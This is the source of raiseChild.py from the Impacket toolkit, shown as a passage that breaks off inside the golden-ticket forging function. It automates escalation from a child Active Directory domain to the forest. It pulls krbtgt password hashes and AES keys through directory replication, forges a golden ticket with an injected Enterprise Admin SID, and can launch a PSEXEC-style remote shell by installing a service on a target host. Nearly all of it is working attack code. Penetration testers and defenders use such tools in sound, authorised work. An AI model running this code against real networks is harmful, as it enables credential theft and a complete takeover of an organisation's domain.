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raiseChild.py
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raiseChild.py
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#!/usr/bin/env python
# Impacket - Collection of Python classes for working with network protocols.
#
# Copyright Fortra, LLC and its affiliated companies
#
# All rights reserved.
#
# This software is provided under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description:
# This script implements a child-domain to forest privilege escalation
# as detailed by Sean Metcalf (@PyroTek3) at https://adsecurity.org/?p=1640. We will
# be (ab)using the concept of Golden Tickets and ExtraSids researched and implemented
# by Benjamin Delpy (@gentilkiwi) in mimikatz (https://github.com/gentilkiwi/mimikatz).
# The idea of automating all these tasks came from @mubix.
#
# The workflow is as follows:
# Input:
# 1) child-domain Admin credentials (password, hashes or aesKey) in the form of 'domain/username[:password]'
# The domain specified MUST be the domain FQDN.
# 2) Optionally a pathname to save the generated golden ticket (-w switch)
# 3) Optionally a target-user RID to get credentials (-targetRID switch)
# Administrator by default.
# 4) Optionally a target to PSEXEC with the target-user privileges to (-target-exec switch).
# Enterprise Admin by default.
#
# Process:
# 1) Find out where the child domain controller is located and get its info (via [MS-NRPC])
# 2) Find out what the forest FQDN is (via [MS-NRPC])
# 3) Get the forest's Enterprise Admin SID (via [MS-LSAT])
# 4) Get the child domain's krbtgt credentials (via [MS-DRSR])
# 5) Create a Golden Ticket specifying SID from 3) inside the KERB_VALIDATION_INFO's ExtraSids array
# and setting expiration 10 years from now
# 6) Use the generated ticket to log into the forest and get the target user info (krbtgt/admin by default)
# 7) If file was specified, save the golden ticket in ccache format
# 8) If target was specified, a PSEXEC shell is launched
#
# Output:
# 1) Target user credentials (Forest's krbtgt/admin credentials by default)
# 2) A golden ticket saved in ccache for future fun and profit
# 3) PSExec Shell with the target-user privileges (Enterprise Admin privileges by default) at target-exec
# parameter.
#
# IMPORTANT NOTE: Your machine MUST be able to resolve all the domains from the child domain up to the
# forest. Easiest way to do is by adding the forest's DNS to your resolv.conf or similar
#
# E.G:
# Just in case, Microsoft says it all (https://technet.microsoft.com/en-us/library/cc759073(v=ws.10).aspx):
# A forest is the only component of the Active Directory logical structure that is a security boundary.
# By contrast, a domain is not a security boundary because it is not possible for administrators from one domain
# to prevent a malicious administrator from another domain within the forest from accessing data in their domain.
# A domain is, however, the administrative boundary for managing objects, such as users, groups, and computers.
# In addition, each domain has its own individual security policies and trust relationships with other domains.
#
# Author:
# Alberto Solino (@agsolino)
#
from __future__ import division
from __future__ import print_function
import argparse
import datetime
import logging
import random
import string
import sys
import os
import cmd
import time
from threading import Thread, Lock
from binascii import unhexlify, hexlify
from socket import gethostbyname
from struct import unpack
from six import PY3
try:
import pyasn1
except ImportError:
logging.critical('This module needs pyasn1 installed')
logging.critical('You can get it from https://pypi.python.org/pypi/pyasn1')
sys.exit(1)
from impacket import version
from impacket.krb5.types import Principal, KerberosTime
from impacket.krb5 import constants
from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS, KerberosError
from impacket.krb5.asn1 import AS_REP, AuthorizationData, AD_IF_RELEVANT, EncTicketPart
from impacket.krb5.crypto import Key, _enctype_table, _checksum_table, Enctype
from impacket.dcerpc.v5.ndr import NDRULONG
from impacket.dcerpc.v5.samr import NULL, GROUP_MEMBERSHIP, SE_GROUP_MANDATORY, SE_GROUP_ENABLED_BY_DEFAULT, SE_GROUP_ENABLED
from pyasn1.codec.der import decoder, encoder
from pyasn1.type.univ import noValue
from impacket.examples import logger
from impacket.examples.utils import parse_credentials
from impacket.ntlm import LMOWFv1, NTOWFv1
from impacket.dcerpc.v5.dtypes import RPC_SID, MAXIMUM_ALLOWED
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_GSS_NEGOTIATE
from impacket.dcerpc.v5.nrpc import MSRPC_UUID_NRPC, hDsrGetDcNameEx
from impacket.dcerpc.v5.lsat import MSRPC_UUID_LSAT, POLICY_LOOKUP_NAMES, LSAP_LOOKUP_LEVEL, hLsarLookupSids
from impacket.dcerpc.v5.lsad import hLsarQueryInformationPolicy2, POLICY_INFORMATION_CLASS, hLsarOpenPolicy2
from impacket.krb5.pac import KERB_SID_AND_ATTRIBUTES, PAC_SIGNATURE_DATA, PAC_INFO_BUFFER, PAC_LOGON_INFO, \
PAC_CLIENT_INFO_TYPE, PAC_SERVER_CHECKSUM, \
PAC_PRIVSVR_CHECKSUM, PACTYPE, PKERB_SID_AND_ATTRIBUTES_ARRAY, VALIDATION_INFO
from impacket.dcerpc.v5 import transport, drsuapi, epm, samr
from impacket.smbconnection import SessionError
from impacket.nt_errors import STATUS_NO_LOGON_SERVERS
from impacket.smbconnection import SMBConnection, smb
from impacket.structure import Structure
from impacket.examples import remcomsvc, serviceinstall
################################################################################
# HELPER FUNCTIONS
################################################################################
class RemComMessage(Structure):
structure = (
('Command','4096s=""'),
('WorkingDir','260s=""'),
('Priority','<L=0x20'),
('ProcessID','<L=0x01'),
('Machine','260s=""'),
('NoWait','<L=0'),
)
class RemComResponse(Structure):
structure = (
('ErrorCode','<L=0'),
('ReturnCode','<L=0'),
)
RemComSTDOUT = "RemCom_stdout"
RemComSTDIN = "RemCom_stdin"
RemComSTDERR = "RemCom_stderr"
lock = Lock()
class PSEXEC:
def __init__(self, command, username, domain, smbConnection, TGS, copyFile):
self.__username = username
self.__command = command
self.__path = None
self.__domain = domain
self.__exeFile = None
self.__copyFile = copyFile
self.__TGS = TGS
self.__smbConnection = smbConnection
def run(self, addr):
rpctransport = transport.SMBTransport(addr, filename='/svcctl', smb_connection=self.__smbConnection)
dce = rpctransport.get_dce_rpc()
try:
dce.connect()
except Exception as e:
logging.critical(str(e))
sys.exit(1)
global dialect
dialect = rpctransport.get_smb_connection().getDialect()
try:
unInstalled = False
s = rpctransport.get_smb_connection()
# We don't wanna deal with timeouts from now on.
s.setTimeout(100000)
if self.__exeFile is None:
installService = serviceinstall.ServiceInstall(rpctransport.get_smb_connection(), remcomsvc.RemComSvc())
else:
try:
f = open(self.__exeFile, 'rb')
except Exception as e:
logging.critical(str(e))
sys.exit(1)
installService = serviceinstall.ServiceInstall(rpctransport.get_smb_connection(), f)
installService.install()
if self.__exeFile is not None:
f.close()
# Check if we need to copy a file for execution
if self.__copyFile is not None:
installService.copy_file(self.__copyFile, installService.getShare(), os.path.basename(self.__copyFile))
# And we change the command to be executed to this filename
self.__command = os.path.basename(self.__copyFile) + ' ' + self.__command
tid = s.connectTree('IPC$')
fid_main = self.openPipe(s,tid,r'\RemCom_communicaton',0x12019f)
packet = RemComMessage()
pid = os.getpid()
packet['Machine'] = ''.join([random.choice(string.ascii_letters) for _ in range(4)])
if self.__path is not None:
packet['WorkingDir'] = self.__path
packet['Command'] = self.__command
packet['ProcessID'] = pid
s.writeNamedPipe(tid, fid_main, packet.getData())
# Here we'll store the command we type so we don't print it back ;)
# ( I know.. globals are nasty :P )
global LastDataSent
LastDataSent = ''
# Create the pipes threads
stdin_pipe = RemoteStdInPipe(rpctransport,
r'\%s%s%d' % (RemComSTDIN, packet['Machine'], packet['ProcessID']),
smb.FILE_WRITE_DATA | smb.FILE_APPEND_DATA, self.__TGS,
installService.getShare())
stdin_pipe.start()
stdout_pipe = RemoteStdOutPipe(rpctransport,
r'\%s%s%d' % (RemComSTDOUT, packet['Machine'], packet['ProcessID']),
smb.FILE_READ_DATA)
stdout_pipe.start()
stderr_pipe = RemoteStdErrPipe(rpctransport,
r'\%s%s%d' % (RemComSTDERR, packet['Machine'], packet['ProcessID']),
smb.FILE_READ_DATA)
stderr_pipe.start()
# And we stay here till the end
ans = s.readNamedPipe(tid,fid_main,8)
if len(ans):
retCode = RemComResponse(ans)
logging.info("Process %s finished with ErrorCode: %d, ReturnCode: %d" % (
self.__command, retCode['ErrorCode'], retCode['ReturnCode']))
installService.uninstall()
if self.__copyFile is not None:
# We copied a file for execution, let's remove it
s.deleteFile(installService.getShare(), os.path.basename(self.__copyFile))
unInstalled = True
sys.exit(retCode['ErrorCode'])
except SystemExit:
raise
except Exception as e:
logging.debug(str(e))
if unInstalled is False:
installService.uninstall()
if self.__copyFile is not None:
s.deleteFile(installService.getShare(), os.path.basename(self.__copyFile))
sys.stdout.flush()
sys.exit(1)
def openPipe(self, s, tid, pipe, accessMask):
pipeReady = False
tries = 50
while pipeReady is False and tries > 0:
try:
s.waitNamedPipe(tid,pipe)
pipeReady = True
except:
tries -= 1
time.sleep(2)
pass
if tries == 0:
raise Exception('Pipe not ready, aborting')
fid = s.openFile(tid,pipe,accessMask, creationOption = 0x40, fileAttributes = 0x80)
return fid
class Pipes(Thread):
def __init__(self, transport, pipe, permissions, TGS=None, share=None):
Thread.__init__(self)
self.server = 0
self.transport = transport
self.credentials = transport.get_credentials()
self.tid = 0
self.fid = 0
self.share = share
self.port = transport.get_dport()
self.pipe = pipe
self.permissions = permissions
self.TGS = TGS
self.daemon = True
def connectPipe(self):
try:
lock.acquire()
global dialect
self.server = SMBConnection('*SMBSERVER', self.transport.get_smb_connection().getRemoteHost(),
sess_port=self.port, preferredDialect=dialect)
user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials
self.server.login(user, passwd, domain, lm, nt)
lock.release()
self.tid = self.server.connectTree('IPC$')
self.server.waitNamedPipe(self.tid, self.pipe)
self.fid = self.server.openFile(self.tid,self.pipe,self.permissions, creationOption = 0x40, fileAttributes = 0x80)
self.server.setTimeout(1000000)
except Exception:
logging.critical("Something wen't wrong connecting the pipes(%s), try again" % self.__class__)
class RemoteStdOutPipe(Pipes):
def __init__(self, transport, pipe, permisssions):
Pipes.__init__(self, transport, pipe, permisssions)
def run(self):
self.connectPipe()
while True:
try:
ans = self.server.readFile(self.tid,self.fid, 0, 1024)
except:
pass
else:
try:
global LastDataSent
if ans != LastDataSent:
sys.stdout.write(ans.decode('cp437'))
sys.stdout.flush()
else:
# Don't echo what I sent, and clear it up
LastDataSent = ''
# Just in case this got out of sync, i'm cleaning it up if there are more than 10 chars,
# it will give false positives tho.. we should find a better way to handle this.
if LastDataSent > 10:
LastDataSent = ''
except:
pass
class RemoteStdErrPipe(Pipes):
def __init__(self, transport, pipe, permisssions):
Pipes.__init__(self, transport, pipe, permisssions)
def run(self):
self.connectPipe()
while True:
try:
ans = self.server.readFile(self.tid,self.fid, 0, 1024)
except:
pass
else:
try:
sys.stderr.write(str(ans))
sys.stderr.flush()
except:
pass
class RemoteShell(cmd.Cmd):
def __init__(self, server, port, credentials, tid, fid, TGS, share):
cmd.Cmd.__init__(self, False)
self.prompt = '\x08'
self.server = server
self.transferClient = None
self.tid = tid
self.fid = fid
self.credentials = credentials
self.share = share
self.port = port
self.TGS = TGS
self.intro = '[!] Press help for extra shell commands'
def connect_transferClient(self):
self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port=self.port,
preferredDialect=dialect)
user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials
self.transferClient.kerberosLogin(user, passwd, domain, lm, nt, aesKey, TGS=self.TGS, useCache=False)
def do_help(self, line):
print("""
lcd {path} - changes the current local directory to {path}
exit - terminates the server process (and this session)
put {src_file, dst_path} - uploads a local file to the dst_path RELATIVE to the connected share (%s)
get {file} - downloads pathname RELATIVE to the connected share (%s) to the current local dir
! {cmd} - executes a local shell cmd
""" % (self.share, self.share))
self.send_data('\r\n', False)
def do_shell(self, s):
os.system(s)
self.send_data('\r\n')
def do_get(self, src_path):
try:
if self.transferClient is None:
self.connect_transferClient()
import ntpath
filename = ntpath.basename(src_path)
fh = open(filename,'wb')
logging.info("Downloading %s\\%s" % (self.share, src_path))
self.transferClient.getFile(self.share, src_path, fh.write)
fh.close()
except Exception as e:
logging.error(str(e))
pass
self.send_data('\r\n')
def do_put(self, s):
try:
if self.transferClient is None:
self.connect_transferClient()
params = s.split(' ')
if len(params) > 1:
src_path = params[0]
dst_path = params[1]
elif len(params) == 1:
src_path = params[0]
dst_path = '/'
src_file = os.path.basename(src_path)
fh = open(src_path, 'rb')
f = dst_path + '/' + src_file
pathname = f.replace('/','\\')
logging.info("Uploading %s to %s\\%s" % (src_file, self.share, dst_path))
if PY3:
self.transferClient.putFile(self.share, pathname, fh.read)
else:
self.transferClient.putFile(self.share, pathname.decode(sys.stdin.encoding), fh.read)
fh.close()
except Exception as e:
logging.error(str(e))
pass
self.send_data('\r\n')
def do_lcd(self, s):
if s == '':
print(os.getcwd())
else:
try:
os.chdir(s)
except Exception as e:
logging.error(str(e))
self.send_data('\r\n')
def emptyline(self):
self.send_data('\r\n')
return
def default(self, line):
if PY3:
self.send_data(line.encode('cp437')+b'\r\n')
else:
self.send_data(line.decode(sys.stdin.encoding).encode('cp437')+'\r\n')
def send_data(self, data, hideOutput = True):
if hideOutput is True:
global LastDataSent
LastDataSent = data
else:
LastDataSent = ''
self.server.writeFile(self.tid, self.fid, data)
class RemoteStdInPipe(Pipes):
def __init__(self, transport, pipe, permisssions, TGS=None, share=None):
Pipes.__init__(self, transport, pipe, permisssions, TGS, share)
def run(self):
self.connectPipe()
shell = RemoteShell(self.server, self.port, self.credentials, self.tid, self.fid, self.TGS, self.share)
shell.cmdloop()
class RAISECHILD:
def __init__(self, target = None, username = '', password = '', domain='', options = None, command=''):
self.__rid = 0
self.__targetRID = options.targetRID
self.__target = target
self.__kdcHost = None
self.__command = command
self.__writeTGT = options.w
self.__domainSid = ''
self.__doKerberos = options.k
self.__drsr = None
self.__ppartialAttrSet = None
self.__creds = {}
self.__creds['username'] = username
self.__creds['password'] = password
self.__creds['domain'] = domain
self.__creds['lmhash'] = ''
self.__creds['nthash'] = ''
self.__creds['aesKey'] = options.aesKey
self.__creds['TGT'] = None
self.__creds['TGS'] = None
#if options.dc_ip is not None:
# self.__kdcHost = options.dc_ip
#else:
# self.__kdcHost = domain
self.__kdcHost = None
if options.hashes is not None:
lmhash, nthash = options.hashes.split(':')
self.__creds['lmhash'] = unhexlify(lmhash)
self.__creds['nthash'] = unhexlify(nthash)
# Transform IP addresses into FQDNs
if self.__target is not None:
self.__target = self.getDNSMachineName(self.__target)
logging.debug('getDNSMachineName for %s returned %s' % (target, self.__target))
NAME_TO_ATTRTYP = {
'objectSid': 0x90092,
'userPrincipalName': 0x90290,
'sAMAccountName': 0x900DD,
'unicodePwd': 0x9005A,
'dBCSPwd': 0x90037,
'supplementalCredentials': 0x9007D,
}
ATTRTYP_TO_ATTID = {
'objectSid': '1.2.840.113556.1.4.146',
'userPrincipalName': '1.2.840.113556.1.4.656',
'sAMAccountName': '1.2.840.113556.1.4.221',
'unicodePwd': '1.2.840.113556.1.4.90',
'dBCSPwd': '1.2.840.113556.1.4.55',
'supplementalCredentials': '1.2.840.113556.1.4.125',
}
KERBEROS_TYPE = {
1:'dec-cbc-crc',
3:'des-cbc-md5',
17:'aes128-cts-hmac-sha1-96',
18:'aes256-cts-hmac-sha1-96',
0xffffff74:'rc4_hmac',
}
HMAC_SHA1_96_AES256 = 0x10
def getChildInfo(self, creds):
logging.debug('Calling NRPC DsrGetDcNameEx()')
target = creds['domain']
if self.__doKerberos is True:
# In Kerberos we need the target's name
machineNameOrIp = self.getDNSMachineName(gethostbyname(target))
logging.debug('%s is %s' % (gethostbyname(target), machineNameOrIp))
else:
machineNameOrIp = target
stringBinding = r'ncacn_np:%s[\pipe\netlogon]' % machineNameOrIp
rpctransport = transport.DCERPCTransportFactory(stringBinding)
if hasattr(rpctransport, 'set_credentials'):
rpctransport.set_credentials(creds['username'], creds['password'], creds['domain'], creds['lmhash'],
creds['nthash'], creds['aesKey'])
if self.__doKerberos or creds['aesKey'] is not None:
rpctransport.set_kerberos(True)
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(MSRPC_UUID_NRPC)
resp = hDsrGetDcNameEx(dce, NULL, NULL, NULL, NULL, 0)
#resp.dump()
return resp['DomainControllerInfo']['DomainName'][:-1], resp['DomainControllerInfo']['DnsForestName'][:-1]
@staticmethod
def getMachineName(machineIP):
try:
s = SMBConnection(machineIP, machineIP)
s.login('', '')
except OSError as e:
if str(e).find('timed out') > 0:
raise Exception('The connection is timed out. Probably 445/TCP port is closed. Try to specify '
'corresponding NetBIOS name or FQDN instead of IP address')
else:
raise
except SessionError as e:
if str(e).find('STATUS_NOT_SUPPORTED') > 0:
raise Exception('The SMB request is not supported. Probably NTLM is disabled. Try to specify '
'corresponding NetBIOS name or FQDN as the value of the -dc-host option.')
else:
raise
except Exception:
logging.debug('Error while anonymous logging into %s' % machineIP)
else:
s.logoff()
return s.getServerName()
@staticmethod
def getDNSMachineName(machineIP):
try:
s = SMBConnection(machineIP, machineIP)
s.login('', '')
except OSError as e:
if str(e).find('timed out') > 0:
raise Exception('The connection is timed out. Probably 445/TCP port is closed. Try to specify '
'corresponding NetBIOS name or FQDN instead of IP address.')
else:
raise
except SessionError as e:
if str(e).find('STATUS_NOT_SUPPORTED') > 0:
raise Exception('The SMB request is not supported. Probably NTLM is disabled. Try to specify '
'corresponding NetBIOS name or FQDN as the value of the -dc-host option.')
else:
raise
except Exception:
logging.debug('Error while anonymous logging into %s' % machineIP)
else:
s.logoff()
return s.getServerName() + '.' + s.getServerDNSDomainName()
def getParentSidAndTargetName(self, parentDC, creds, targetRID):
if self.__doKerberos is True:
# In Kerberos we need the target's name
machineNameOrIp = self.getDNSMachineName(gethostbyname(parentDC))
logging.debug('%s is %s' % (gethostbyname(parentDC), machineNameOrIp))
else:
machineNameOrIp = gethostbyname(parentDC)
logging.debug('Calling LSAT hLsarQueryInformationPolicy2()')
stringBinding = r'ncacn_np:%s[\pipe\lsarpc]' % machineNameOrIp
rpctransport = transport.DCERPCTransportFactory(stringBinding)
if hasattr(rpctransport, 'set_credentials'):
rpctransport.set_credentials(creds['username'], creds['password'], creds['domain'], creds['lmhash'],
creds['nthash'], creds['aesKey'])
rpctransport.set_kerberos(self.__doKerberos)
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(MSRPC_UUID_LSAT)
resp = hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | POLICY_LOOKUP_NAMES)
policyHandle = resp['PolicyHandle']
resp = hLsarQueryInformationPolicy2(dce, policyHandle, POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation)
domainSid = resp['PolicyInformation']['PolicyAccountDomainInfo']['DomainSid'].formatCanonical()
# Now that we have the Sid, let's get the Administrator's account name
sids = list()
sids.append(domainSid+'-'+targetRID)
resp = hLsarLookupSids(dce, policyHandle, sids, LSAP_LOOKUP_LEVEL.LsapLookupWksta)
targetName = resp['TranslatedNames']['Names'][0]['Name']
return domainSid, targetName
def __connectDrds(self, domainName, creds):
if self.__doKerberos is True or creds['TGT'] is not None:
# In Kerberos we need the target's name
machineNameOrIp = self.getDNSMachineName(gethostbyname(domainName))
logging.debug('%s is %s' % (gethostbyname(domainName), machineNameOrIp))
else:
machineNameOrIp = gethostbyname(domainName)
stringBinding = epm.hept_map(machineNameOrIp, drsuapi.MSRPC_UUID_DRSUAPI,
protocol='ncacn_ip_tcp')
rpc = transport.DCERPCTransportFactory(stringBinding)
if hasattr(rpc, 'set_credentials'):
# This method exists only for selected protocol sequences.
if creds['TGT'] is not None:
rpc.set_credentials(creds['username'],'', creds['domain'], TGT=creds['TGT'])
rpc.set_kerberos(True)
else:
rpc.set_credentials(creds['username'], creds['password'], creds['domain'], creds['lmhash'],
creds['nthash'], creds['aesKey'])
rpc.set_kerberos(self.__doKerberos)
self.__drsr = rpc.get_dce_rpc()
self.__drsr.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
if self.__doKerberos or creds['TGT'] is not None:
self.__drsr.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
self.__drsr.connect()
self.__drsr.bind(drsuapi.MSRPC_UUID_DRSUAPI)
request = drsuapi.DRSBind()
request['puuidClientDsa'] = drsuapi.NTDSAPI_CLIENT_GUID
drs = drsuapi.DRS_EXTENSIONS_INT()
drs['cb'] = len(drs) #- 4
drs['dwFlags'] = drsuapi.DRS_EXT_GETCHGREQ_V6 | drsuapi.DRS_EXT_GETCHGREPLY_V6 | drsuapi.DRS_EXT_GETCHGREQ_V8 |\
drsuapi.DRS_EXT_STRONG_ENCRYPTION
drs['SiteObjGuid'] = drsuapi.NULLGUID
drs['Pid'] = 0
drs['dwReplEpoch'] = 0
drs['dwFlagsExt'] = 0
drs['ConfigObjGUID'] = drsuapi.NULLGUID
drs['dwExtCaps'] = 127
request['pextClient']['cb'] = len(drs.getData())
request['pextClient']['rgb'] = list(drs.getData())
resp = self.__drsr.request(request)
# Let's dig into the answer to check the dwReplEpoch. This field should match the one we send as part of
# DRSBind's DRS_EXTENSIONS_INT(). If not, it will fail later when trying to sync data.
drsExtensionsInt = drsuapi.DRS_EXTENSIONS_INT()
# If dwExtCaps is not included in the answer, let's just add it so we can unpack DRS_EXTENSIONS_INT right.
ppextServer = b''.join(resp['ppextServer']['rgb']) + b'\x00' * (
len(drsuapi.DRS_EXTENSIONS_INT()) - resp['ppextServer']['cb'])
drsExtensionsInt.fromString(ppextServer)
if drsExtensionsInt['dwReplEpoch'] != 0:
# Different epoch, we have to call DRSBind again
if logging.getLogger().level == logging.DEBUG:
logging.debug("DC's dwReplEpoch != 0, setting it to %d and calling DRSBind again" % drsExtensionsInt[
'dwReplEpoch'])
drs['dwReplEpoch'] = drsExtensionsInt['dwReplEpoch']
request['pextClient']['cb'] = len(drs)
request['pextClient']['rgb'] = list(drs.getData())
resp = self.__drsr.request(request)
self.__hDrs = resp['phDrs']
# Now let's get the NtdsDsaObjectGuid UUID to use when querying NCChanges
resp = drsuapi.hDRSDomainControllerInfo(self.__drsr, self.__hDrs, domainName, 2)
if resp['pmsgOut']['V2']['cItems'] > 0:
self.__NtdsDsaObjectGuid = resp['pmsgOut']['V2']['rItems'][0]['NtdsDsaObjectGuid']
else:
logging.error("Couldn't get DC info for domain %s" % domainName)
raise Exception('Fatal, aborting')
def DRSCrackNames(self, target, formatOffered=drsuapi.DS_NAME_FORMAT.DS_DISPLAY_NAME,
formatDesired=drsuapi.DS_NAME_FORMAT.DS_FQDN_1779_NAME, name='', creds=None):
if self.__drsr is None:
self.__connectDrds(target, creds)
resp = drsuapi.hDRSCrackNames(self.__drsr, self.__hDrs, 0, formatOffered, formatDesired, (name,))
return resp
def __decryptSupplementalInfo(self, record, prefixTable=None):
# This is based on [MS-SAMR] 2.2.10 Supplemental Credentials Structures
plainText = None
for attr in record['pmsgOut']['V6']['pObjects']['Entinf']['AttrBlock']['pAttr']:
try:
attId = drsuapi.OidFromAttid(prefixTable, attr['attrTyp'])
LOOKUP_TABLE = self.ATTRTYP_TO_ATTID
except Exception as e:
logging.debug('Failed to execute OidFromAttid with error %s' % e)
# Fallbacking to fixed table and hope for the best
attId = attr['attrTyp']
LOOKUP_TABLE = self.NAME_TO_ATTRTYP
if attId == LOOKUP_TABLE['supplementalCredentials']:
if attr['AttrVal']['valCount'] > 0:
blob = b''.join(attr['AttrVal']['pAVal'][0]['pVal'])
plainText = drsuapi.DecryptAttributeValue(self.__drsr, blob)
if len(plainText) < 24:
plainText = None
if plainText:
try:
userProperties = samr.USER_PROPERTIES(plainText)
except:
# On some old w2k3 there might be user properties that don't
# match [MS-SAMR] structure, discarding them
return
propertiesData = userProperties['UserProperties']
for propertyCount in range(userProperties['PropertyCount']):
userProperty = samr.USER_PROPERTY(propertiesData)
propertiesData = propertiesData[len(userProperty):]
if userProperty['PropertyName'].decode('utf-16le') == 'Primary:Kerberos-Newer-Keys':
propertyValueBuffer = unhexlify(userProperty['PropertyValue'])
kerbStoredCredentialNew = samr.KERB_STORED_CREDENTIAL_NEW(propertyValueBuffer)
data = kerbStoredCredentialNew['Buffer']
for credential in range(kerbStoredCredentialNew['CredentialCount']):
keyDataNew = samr.KERB_KEY_DATA_NEW(data)
data = data[len(keyDataNew):]
keyValue = propertyValueBuffer[keyDataNew['KeyOffset']:][:keyDataNew['KeyLength']]
if keyDataNew['KeyType'] in self.KERBEROS_TYPE:
# Give me only the AES256
if keyDataNew['KeyType'] == 18:
return hexlify(keyValue)
return None
def __decryptHash(self, record, prefixTable=None):
logging.debug('Decrypting hash for user: %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1])
rid = 0
LMHash = None
NTHash = None
for attr in record['pmsgOut']['V6']['pObjects']['Entinf']['AttrBlock']['pAttr']:
try:
attId = drsuapi.OidFromAttid(prefixTable, attr['attrTyp'])
LOOKUP_TABLE = self.ATTRTYP_TO_ATTID
except Exception as e:
logging.debug('Failed to execute OidFromAttid with error %s, fallbacking to fixed table' % e)
# Fallbacking to fixed table and hope for the best
attId = attr['attrTyp']
LOOKUP_TABLE = self.NAME_TO_ATTRTYP
if attId == LOOKUP_TABLE['dBCSPwd']:
if attr['AttrVal']['valCount'] > 0:
encrypteddBCSPwd = ''.join(attr['AttrVal']['pAVal'][0]['pVal'])
encryptedLMHash = drsuapi.DecryptAttributeValue(self.__drsr, encrypteddBCSPwd)
else:
LMHash = LMOWFv1('', '')
elif attId == LOOKUP_TABLE['unicodePwd']:
if attr['AttrVal']['valCount'] > 0:
encryptedUnicodePwd = b''.join(attr['AttrVal']['pAVal'][0]['pVal'])
encryptedNTHash = drsuapi.DecryptAttributeValue(self.__drsr, encryptedUnicodePwd)
else:
NTHash = NTOWFv1('', '')
elif attId == LOOKUP_TABLE['objectSid']:
if attr['AttrVal']['valCount'] > 0:
objectSid = b''.join(attr['AttrVal']['pAVal'][0]['pVal'])
rid = unpack('<L', objectSid[-4:])[0]
else:
raise Exception('Cannot get objectSid for %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1])
if LMHash is None:
LMHash = drsuapi.removeDESLayer(encryptedLMHash, rid)
if NTHash is None:
NTHash = drsuapi.removeDESLayer(encryptedNTHash, rid)
return rid, hexlify(LMHash), hexlify(NTHash)
def DRSGetNCChanges(self, userEntry, creds):
if self.__drsr is None:
self.__connectDrds(creds)
request = drsuapi.DRSGetNCChanges()
request['hDrs'] = self.__hDrs
request['dwInVersion'] = 8
request['pmsgIn']['tag'] = 8
request['pmsgIn']['V8']['uuidDsaObjDest'] = self.__NtdsDsaObjectGuid
request['pmsgIn']['V8']['uuidInvocIdSrc'] = self.__NtdsDsaObjectGuid
dsName = drsuapi.DSNAME()
dsName['SidLen'] = 0
dsName['Guid'] = drsuapi.NULLGUID
dsName['Sid'] = ''
dsName['NameLen'] = len(userEntry)
dsName['StringName'] = (userEntry + '\x00')
dsName['structLen'] = len(dsName.getData())
request['pmsgIn']['V8']['pNC'] = dsName
request['pmsgIn']['V8']['usnvecFrom']['usnHighObjUpdate'] = 0
request['pmsgIn']['V8']['usnvecFrom']['usnHighPropUpdate'] = 0
request['pmsgIn']['V8']['pUpToDateVecDest'] = NULL
request['pmsgIn']['V8']['ulFlags'] = drsuapi.DRS_INIT_SYNC | drsuapi.DRS_WRIT_REP
request['pmsgIn']['V8']['cMaxObjects'] = 1
request['pmsgIn']['V8']['cMaxBytes'] = 0
request['pmsgIn']['V8']['ulExtendedOp'] = drsuapi.EXOP_REPL_OBJ
if self.__ppartialAttrSet is None:
self.__prefixTable = []
self.__ppartialAttrSet = drsuapi.PARTIAL_ATTR_VECTOR_V1_EXT()
self.__ppartialAttrSet['dwVersion'] = 1
self.__ppartialAttrSet['cAttrs'] = len(self.ATTRTYP_TO_ATTID)
for attId in list(self.ATTRTYP_TO_ATTID.values()):
self.__ppartialAttrSet['rgPartialAttr'].append(drsuapi.MakeAttid(self.__prefixTable , attId))
request['pmsgIn']['V8']['pPartialAttrSet'] = self.__ppartialAttrSet
request['pmsgIn']['V8']['PrefixTableDest']['PrefixCount'] = len(self.__prefixTable)
request['pmsgIn']['V8']['PrefixTableDest']['pPrefixEntry'] = self.__prefixTable
request['pmsgIn']['V8']['pPartialAttrSetEx1'] = NULL
return self.__drsr.request(request)
def getCredentials(self, userName, domain, creds = None):
upn = '%s@%s' % (userName, domain)
try:
crackedName = self.DRSCrackNames(domain, drsuapi.DS_NAME_FORMAT.DS_USER_PRINCIPAL_NAME, name = upn, creds=creds)
if crackedName['pmsgOut']['V1']['pResult']['cItems'] == 1:
if crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status'] == 0:
userRecord = self.DRSGetNCChanges(
crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['pName'][:-1], creds)
# userRecord.dump()
if userRecord['pmsgOut']['V6']['cNumObjects'] == 0:
raise Exception('DRSGetNCChanges didn\'t return any object!')
else:
raise Exception('DRSCrackNames status returned error 0x%x' %
crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status'])
else:
raise Exception('DRSCrackNames returned %d items for user %s' % (
crackedName['pmsgOut']['V1']['pResult']['cItems'], userName))
rid, lmhash, nthash = self.__decryptHash(userRecord, userRecord['pmsgOut']['V6']['PrefixTableSrc']['pPrefixEntry'])
aesKey = self.__decryptSupplementalInfo(userRecord, userRecord['pmsgOut']['V6']['PrefixTableSrc']['pPrefixEntry'])
except Exception as e:
logging.debug('Exception:', exc_info=True)
logging.error("Error while processing user!")
logging.error(str(e))
raise
self.__drsr.disconnect()
self.__drsr = None
creds = {}
creds['lmhash'] = lmhash
creds['nthash'] = nthash
creds['aesKey'] = aesKey
return rid, creds
@staticmethod
def makeGolden(tgt, originalCipher, sessionKey, ntHash, aesKey, extraSid):
asRep = decoder.decode(tgt, asn1Spec = AS_REP())[0]
# Let's extract Ticket's enc-data
cipherText = asRep['ticket']['enc-part']['cipher']
cipher = _enctype_table[asRep['ticket']['enc-part']['etype']]
if cipher.enctype == constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value:
key = Key(cipher.enctype, unhexlify(aesKey))
elif cipher.enctype == constants.EncryptionTypes.rc4_hmac.value:
key = Key(cipher.enctype, unhexlify(ntHash))
else:
